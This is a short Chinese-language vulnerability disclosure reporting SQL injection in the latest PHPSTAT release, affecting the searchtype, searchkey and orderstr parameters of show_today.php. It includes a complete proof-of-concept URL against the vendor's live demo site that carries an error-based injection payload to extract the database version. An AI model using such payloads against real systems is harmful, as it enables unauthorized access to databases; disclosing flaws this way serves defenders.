PHPSTAT最新版多处SQL注入漏洞

  • A+
所属分类:漏洞时代
摘要

官方demo,已是最新版:http://www.yeefx.cn/demo.show.php漏洞文件:show_today.php其中参数:


漏洞作者: 路人甲

详细说明:

官方demo,已是最新版

http://www.yeefx.cn/demo.show.php

漏洞文件:show_today.php

其中参数:

searchtype

searchkey

orderstr

均存在延时注入,mysql delay blind

附POC:

http://www.yeefx.cn/common_demo/show_today.php?action=today&costtype=&endtime=2015-07-16&enginekey=&fromtype=&mediumkey=&orderby=&orderstr=desc&pagesize=10&ploykey=&searchkey=1&searchtype=1%20order%20by%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23&selectinfotype=&server=d1&starttime=2015-07-16&types=&userkey=&website=1

 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: